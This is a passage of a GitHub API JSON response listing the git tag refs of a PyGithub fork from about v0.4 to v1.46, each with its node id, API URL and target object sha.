wOnYwLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.4","object":{"sha":"26fb28983636cb4773acb5581f4a443cd0aef808","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/26fb28983636cb4773acb5581f4a443cd0aef808"}},{"ref":"refs/tags/v0.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.5","object":{"sha":"c88b802b71cf19cfbc2e915dbb8a0e98f235a926","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c88b802b71cf19cfbc2e915dbb8a0e98f235a926"}},{"ref":"refs/tags/v0.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.6","object":{"sha":"f5f37322407b02a80de4526ad88d5f188977bc3c","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c"}},{"ref":"refs/tags/v0.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYwLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v0.7","object":{"sha":"78ca479ac54294dabd16a6644bbe5e013fabf183","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/78ca479ac54294dabd16a6644bbe5e013fabf183"}},{"ref":"refs/tags/v1.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.0","object":{"sha":"8bcae35db2ac5678c291d0fa489a18779af6ba81","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8bcae35db2ac5678c291d0fa489a18779af6ba81"}},{"ref":"refs/tags/v1.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.1","object":{"sha":"3d3dd63439c9bf004701b81c424393bb47221ab8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/3d3dd63439c9bf004701b81c424393bb47221ab8"}},{"ref":"refs/tags/v1.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.2","object":{"sha":"5d2fe09d780075ca09d8b3e41360742339ffbddd","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d2fe09d780075ca09d8b3e41360742339ffbddd"}},{"ref":"refs/tags/v1.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.3","object":{"sha":"f5c7ed9165712cbf6a4532f6909f7042046f65ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f5c7ed9165712cbf6a4532f6909f7042046f65ba"}},{"ref":"refs/tags/v1.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.4","object":{"sha":"ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ec8db4b6b507df9db4b54addb3beb21cc1fa7ee0"}},{"ref":"refs/tags/v1.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.5","object":{"sha":"e885b6bb1885c07842fe54f7d36cac8b4d3de5d1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e885b6bb1885c07842fe54f7d36cac8b4d3de5d1"}},{"ref":"refs/tags/v1.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.6","object":{"sha":"6924d6646f9578d065222b24582139fb40b5e89e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6924d6646f9578d065222b24582139fb40b5e89e"}},{"ref":"refs/tags/v1.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.7","object":{"sha":"d89fa5be707125f4cf5c3c12461bfd9c15dd844b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d89fa5be707125f4cf5c3c12461bfd9c15dd844b"}},{"ref":"refs/tags/v1.8.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.0","object":{"sha":"953d09d63c1a4131bc5c03a299a05115521f5f0e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/953d09d63c1a4131bc5c03a299a05115521f5f0e"}},{"ref":"refs/tags/v1.8.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjguMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.8.1","object":{"sha":"684716187df9aced842d00aeb0c69a9e54aefa2f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/684716187df9aced842d00aeb0c69a9e54aefa2f"}},{"ref":"refs/tags/v1.9.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMA==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.0","object":{"sha":"c7c3cd5a4605855edb5356191159d4836762bb88","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c7c3cd5a4605855edb5356191159d4836762bb88"}},{"ref":"refs/tags/v1.9.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjkuMQ==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.9.1","object":{"sha":"5605aa0b295cda8ec06c5842145a35f59596d954","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5605aa0b295cda8ec06c5842145a35f59596d954"}},{"ref":"refs/tags/v1.10.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.10.0","object":{"sha":"22e1edf6746fbf0aafb67880101d9b05f33cead2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/22e1edf6746fbf0aafb67880101d9b05f33cead2"}},{"ref":"refs/tags/v1.11.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.0","object":{"sha":"8845a579160bff915b67a6facfacdfe479668d8e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8845a579160bff915b67a6facfacdfe479668d8e"}},{"ref":"refs/tags/v1.11.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjExLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.11.1","object":{"sha":"146e9bf90620bfc519a19a2ff859999cb99873f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/146e9bf90620bfc519a19a2ff859999cb99873f2"}},{"ref":"refs/tags/v1.12.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.0","object":{"sha":"fa31d8f8785b6d79d1a870f097422a40956ab209","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fa31d8f8785b6d79d1a870f097422a40956ab209"}},{"ref":"refs/tags/v1.12.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.1","object":{"sha":"435bd89ce3993894a9f5f468522cacbca1cad389","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/435bd89ce3993894a9f5f468522cacbca1cad389"}},{"ref":"refs/tags/v1.12.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEyLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.12.2","object":{"sha":"4114332a0ed5b205a569fe75808321216d363753","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/4114332a0ed5b205a569fe75808321216d363753"}},{"ref":"refs/tags/v1.13.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.0","object":{"sha":"5b1b6ea6d63e6557ed2167ea204a867bc715af47","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5b1b6ea6d63e6557ed2167ea204a867bc715af47"}},{"ref":"refs/tags/v1.13.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjEzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.13.1","object":{"sha":"46b80131026c6338f04863feb62747c1073d8ec2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46b80131026c6338f04863feb62747c1073d8ec2"}},{"ref":"refs/tags/v1.14.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.0","object":{"sha":"ae0118a152f331cda95b9d5187c74a3e543e55e5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ae0118a152f331cda95b9d5187c74a3e543e55e5"}},{"ref":"refs/tags/v1.14.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.1","object":{"sha":"46a509e20f972db2c72279be87fc1bb37cabf7e1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/46a509e20f972db2c72279be87fc1bb37cabf7e1"}},{"ref":"refs/tags/v1.14.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE0LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.14.2","object":{"sha":"81ba5b8a9445e6f81f142eb460611144f7671d49","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/81ba5b8a9445e6f81f142eb460611144f7671d49"}},{"ref":"refs/tags/v1.15.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.15.0","object":{"sha":"12ac52f43fdb0e3ce2744382408504c6921794b6","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/12ac52f43fdb0e3ce2744382408504c6921794b6"}},{"ref":"refs/tags/v1.16.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.16.0","object":{"sha":"21cebaaf3b0fd8d9181d130ff05126810d0a39af","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/21cebaaf3b0fd8d9181d130ff05126810d0a39af"}},{"ref":"refs/tags/v1.17.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.17.0","object":{"sha":"a08db4387b1294359e283f2a5c2c79584e23450f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a08db4387b1294359e283f2a5c2c79584e23450f"}},{"ref":"refs/tags/v1.18.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE4LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.18.0","object":{"sha":"8088a1f24bc867d298553ee227f672c27b05a05f","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8088a1f24bc867d298553ee227f672c27b05a05f"}},{"ref":"refs/tags/v1.19.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjE5LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.19.0","object":{"sha":"602126a0ec95fa8bca0e24d5a171b359b4001d24","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/602126a0ec95fa8bca0e24d5a171b359b4001d24"}},{"ref":"refs/tags/v1.20.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIwLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.20.0","object":{"sha":"e1c23bc9fa47b52b13a1858faba4b90c8e89e79a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e1c23bc9fa47b52b13a1858faba4b90c8e89e79a"}},{"ref":"refs/tags/v1.21.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIxLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.21.0","object":{"sha":"5eb08f2df7062e413806f201b73b7700913234e8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5eb08f2df7062e413806f201b73b7700913234e8"}},{"ref":"refs/tags/v1.22.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIyLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.22.0","object":{"sha":"8b4b9729615ab49e9e96f8d06694e773c61271c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8b4b9729615ab49e9e96f8d06694e773c61271c5"}},{"ref":"refs/tags/v1.23.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjIzLjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.23.0","object":{"sha":"59f350dd23b402b4055f4d28268b2e79e1340b8b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/59f350dd23b402b4055f4d28268b2e79e1340b8b"}},{"ref":"refs/tags/v1.24.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.0","object":{"sha":"ed6cc2535c90678530c1dab623007871803ab1c9","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ed6cc2535c90678530c1dab623007871803ab1c9"}},{"ref":"refs/tags/v1.24.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.24.1","object":{"sha":"fcc13d123fb52767e48ae7fe1610a3030f290892","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fcc13d123fb52767e48ae7fe1610a3030f290892"}},{"ref":"refs/tags/v1.25.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.0","object":{"sha":"1f9f8c034f87fc3c094579b0fa580ada00e15895","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1f9f8c034f87fc3c094579b0fa580ada00e15895"}},{"ref":"refs/tags/v1.25.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.1","object":{"sha":"b54d9d8e32d9348da7771772c2c9f26a624762b5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b54d9d8e32d9348da7771772c2c9f26a624762b5"}},{"ref":"refs/tags/v1.25.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI1LjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.25.2","object":{"sha":"41a3d4a362ac4beb05077feaec288a49e69f7b52","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/41a3d4a362ac4beb05077feaec288a49e69f7b52"}},{"ref":"refs/tags/v1.26.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI2LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.26.0","object":{"sha":"c73b4d0f0f124c1313551891306bc533eed1aa74","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c73b4d0f0f124c1313551891306bc533eed1aa74"}},{"ref":"refs/tags/v1.27.0","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjA=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.0","object":{"sha":"e3824433cf8353c12656834a76d093da1d696cba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e3824433cf8353c12656834a76d093da1d696cba"}},{"ref":"refs/tags/v1.27.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI3LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.27.1","object":{"sha":"d25bbdc371235300c6499e13448bcf953b2721ba","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/d25bbdc371235300c6499e13448bcf953b2721ba"}},{"ref":"refs/tags/v1.28","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.28","object":{"sha":"b3fef2eadb8a220098e5fc3e35c4eef6e098b491","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b3fef2eadb8a220098e5fc3e35c4eef6e098b491"}},{"ref":"refs/tags/v1.29","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjI5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.29","object":{"sha":"f0379d64ffd2173e3a7ffe91584fc05a04b25956","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f0379d64ffd2173e3a7ffe91584fc05a04b25956"}},{"ref":"refs/tags/v1.30","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.30","object":{"sha":"0a75af570d85f68c95049e8258b711e92f814b39","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0a75af570d85f68c95049e8258b711e92f814b39"}},{"ref":"refs/tags/v1.31","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.31","object":{"sha":"2defb8920e3b2d379e9e6227911a10268a368d78","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/2defb8920e3b2d379e9e6227911a10268a368d78"}},{"ref":"refs/tags/v1.32","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.32","object":{"sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/414f6e648f4da87f10bae7d01948a63dc82b80f8"}},{"ref":"refs/tags/v1.33","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjMz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.33","object":{"sha":"00dd970d78b181bb8dead5f62595a6005134bd4a","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/00dd970d78b181bb8dead5f62595a6005134bd4a"}},{"ref":"refs/tags/v1.34","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.34","object":{"sha":"6345bf49c6520f8d9a56d4fc61e023b826a5b3e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6345bf49c6520f8d9a56d4fc61e023b826a5b3e3"}},{"ref":"refs/tags/v1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}},{"ref":"refs/tags/v1.36","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.36","object":{"sha":"58465a86fedd99cf4f5f66e05ea779ee73d8f8e2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/58465a86fedd99cf4f5f66e05ea779ee73d8f8e2"}},{"ref":"refs/tags/v1.37","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.37","object":{"sha":"2380ac8da1d00d24d18a37bcdf4a99a146ada72b","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2380ac8da1d00d24d18a37bcdf4a99a146ada72b"}},{"ref":"refs/tags/v1.38","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM4","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.38","object":{"sha":"1c127d4bd983a80a872e8cc8ce3dd739ab4e0945","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1c127d4bd983a80a872e8cc8ce3dd739ab4e0945"}},{"ref":"refs/tags/v1.39","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjM5","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.39","object":{"sha":"5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5dc520d2ee8fc3e56fcd8d2a3135a36458f28f42"}},{"ref":"refs/tags/v1.40a1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a1","object":{"sha":"b2eeef26ffc131301edd11a676c8dc0321b19995","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2eeef26ffc131301edd11a676c8dc0321b19995"}},{"ref":"refs/tags/v1.40a2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a2","object":{"sha":"fc72fd3b8615369a7b772155c51db5f766ff7773","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/fc72fd3b8615369a7b772155c51db5f766ff7773"}},{"ref":"refs/tags/v1.40a3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a3","object":{"sha":"6348fca2dd70988383d56933c88ac3c531a742f2","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/6348fca2dd70988383d56933c88ac3c531a742f2"}},{"ref":"refs/tags/v1.40a4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQwYTQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40a4","object":{"sha":"63cc05ec419bc3f510a7109e684efb36e22768cb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/63cc05ec419bc3f510a7109e684efb36e22768cb"}},{"ref":"refs/tags/v1.40","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQw","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.40","object":{"sha":"827cc68cf2b91808d936aee78ce2d2e9cb9794a4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/827cc68cf2b91808d936aee78ce2d2e9cb9794a4"}},{"ref":"refs/tags/v1.41","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQx","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.41","object":{"sha":"a9e590f5b81d6f3e142c18b4db8c1df45226fb3e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/a9e590f5b81d6f3e142c18b4db8c1df45226fb3e"}},{"ref":"refs/tags/v1.42","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQy","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.42","object":{"sha":"0c20643eb19cf62ec48ebf7f87f0bc6c478582a7","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/0c20643eb19cf62ec48ebf7f87f0bc6c478582a7"}},{"ref":"refs/tags/v1.43","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQz","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43","object":{"sha":"4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d"}},{"ref":"refs/tags/v1.43.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.1","object":{"sha":"ccaa6dc685d8531c530e63b555d6197c6377662e","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/ccaa6dc685d8531c530e63b555d6197c6377662e"}},{"ref":"refs/tags/v1.43.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjI=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.2","object":{"sha":"5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/5d3a23c5126e2a5f70de56aa1f8f9ca40ee11331"}},{"ref":"refs/tags/v1.43.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjM=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.3","object":{"sha":"38c2ce28f3834a27cc116eb05bab167230363673","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/38c2ce28f3834a27cc116eb05bab167230363673"}},{"ref":"refs/tags/v1.43.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.4","object":{"sha":"e80bb865356537751119a9246b93d0a592f5ceb4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e80bb865356537751119a9246b93d0a592f5ceb4"}},{"ref":"refs/tags/v1.43.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.5","object":{"sha":"c5499a3374813544abf9d50834d15891360e3040","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c5499a3374813544abf9d50834d15891360e3040"}},{"ref":"refs/tags/v1.43.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.6","object":{"sha":"954455c1531fa2d8a7056df79e292a0eb78d02e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/954455c1531fa2d8a7056df79e292a0eb78d02e3"}},{"ref":"refs/tags/v1.43.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.7","object":{"sha":"9d77016321f4785311d3c3dd96e3831e33f1d5c8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/9d77016321f4785311d3c3dd96e3831e33f1d5c8"}},{"ref":"refs/tags/v1.43.8","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjg=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.8","object":{"sha":"b4ff2916bccee6ba54ed12622ff82d5ccad45735","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b4ff2916bccee6ba54ed12622ff82d5ccad45735"}},{"ref":"refs/tags/v1.44","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44","object":{"sha":"7c1857c760b229a86bc100c441bcfdc6acab86a3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/7c1857c760b229a86bc100c441bcfdc6acab86a3"}},{"ref":"refs/tags/v1.44.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44.1","object":{"sha":"37b04854c184cd4cbf9fcbed27b61260217d81c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/37b04854c184cd4cbf9fcbed27b61260217d81c5"}},{"ref":"refs/tags/v1.45","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.45","object":{"sha":"8cb32bdcd58876e7dff0b9d3439836ed338a0bd1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8cb32bdcd58876e7dff0b9d3439836ed338a0bd1"}},{"ref":"refs/tags/v1.46","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/